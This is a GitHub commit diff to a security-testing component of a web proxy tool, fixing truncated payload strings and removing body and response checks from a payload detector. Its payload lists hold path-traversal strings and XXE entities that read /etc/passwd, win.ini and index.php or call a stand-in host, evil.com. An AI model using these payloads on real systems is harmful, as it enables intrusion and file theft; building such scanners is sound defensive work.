Skip to content

Commit e0036a7

Browse files
authored
Add files via upload
1 parent e65ad4c commit e0036a7

File tree

1 file changed

+4
-19
lines changed

1 file changed

+4
-19
lines changed

web/src/js/components/Security/SecurityTesting.tsx

Lines changed: 4 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ import { useState } from "react";
33
import { useAppSelector } from "../../ducks";
44
import { fetchApi } from "../../utils";
55
import { HTTPFlow } from "../../flow";
6+
import { RequestUtils } from "../../flow/utils";
67

78
interface SecurityTest {
89
id: string;
@@ -179,7 +180,7 @@ const securityTests: SecurityTest[] = [
179180
"..%5C",
180181
"%2e%2e%2f",
181182
"%2e%2e%5c",
182-
"....
183+
"..../",
183184
"....\\\\",
184185
],
185186
severity: "high",
@@ -193,7 +194,7 @@ const securityTests: SecurityTest[] = [
193194
detailedDescription: "XML External Entity (XXE) injection is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.",
194195
category: "xxe",
195196
payloads: [
196-
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:
197+
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
197198
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///c:/windows/win.ini\">]><foo>&xxe;</foo>",
198199
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://evil.com/xxe\">]><foo>&xxe;</foo>",
199200
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=index.php\">]><foo>&xxe;</foo>",
@@ -447,10 +448,8 @@ export default function SecurityTesting() {
447448
const performClientSideTest = (flow: HTTPFlow, test: SecurityTest): any | null => {
448449
if (!flow.request) return null;
449450

450-
const requestText = flow.request.text || "";
451451
const requestHeaders = flow.request.headers || {};
452-
const requestUrl = flow.request.url || "";
453-
const responseText = flow.response?.text || "";
452+
const requestUrl = RequestUtils.pretty_url(flow.request);
454453
const responseHeaders = flow.response?.headers || {};
455454

456455
let vulnerable = false;
@@ -460,13 +459,6 @@ export default function SecurityTesting() {
460459

461460
for (const payload of test.payloads) {
462461

463-
if (requestText.includes(payload)) {
464-
vulnerable = true;
465-
foundPayloads.push(payload);
466-
details.push(`Payload found in request body: ${payload}`);
467-
}
468-
469-
470462
for (const [key, value] of Object.entries(requestHeaders)) {
471463
if (String(value).includes(payload)) {
472464
vulnerable = true;
@@ -481,13 +473,6 @@ export default function SecurityTesting() {
481473
foundPayloads.push(payload);
482474
details.push(`Payload found in URL: ${payload}`);
483475
}
484-
485-
486-
if (responseText.includes(payload)) {
487-
vulnerable = true;
488-
foundPayloads.push(payload);
489-
details.push(`Payload reflected in response: ${payload}`);
490-
}
491476
}
492477

493478

0 commit comments

Comments
 (0)